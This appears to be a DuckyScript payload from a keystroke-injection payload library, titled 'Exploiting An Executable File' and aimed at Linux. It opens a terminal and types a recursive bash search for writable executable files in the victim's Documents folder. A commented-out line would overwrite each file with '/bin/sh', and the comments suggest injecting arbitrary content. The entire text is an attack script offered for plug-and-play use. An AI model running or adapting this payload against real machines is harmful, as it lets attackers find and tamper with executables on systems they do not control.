Path: blob/master/payloads/library/execution/ExploitingAnExecutableFile/payload.txt
3018 views
1REM ################################################2REM # |3REM # Title : Exploiting An Executable File |4REM # Author : Aleff |5REM # Version : 1.0 |6REM # Category : Execution |7REM # Target : Linux |8REM # |9REM ################################################1011REM Requirements:12REM - Nothing, it is Plug-And-Play but you can change it as you want.1314DELAY 100015CTRL-ALT t16DELAY 2000171819REM #### Script ####202122STRINGLN23function search_file {24for file in "$1"/*; do25if [[ -d "$file" ]]; then26search_file "$file";27elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then28echo "File Found: $file";29# You can put whatever you want into the executable file30# echo "/bin/sh" > "$file"31fi32done33}34USER=$(whoami);35# You can choose whatever folder you want, the script is recursive.36DIR=/home/$USER/Documents;37search_file "$DIR";38END_STRING39ENTER4041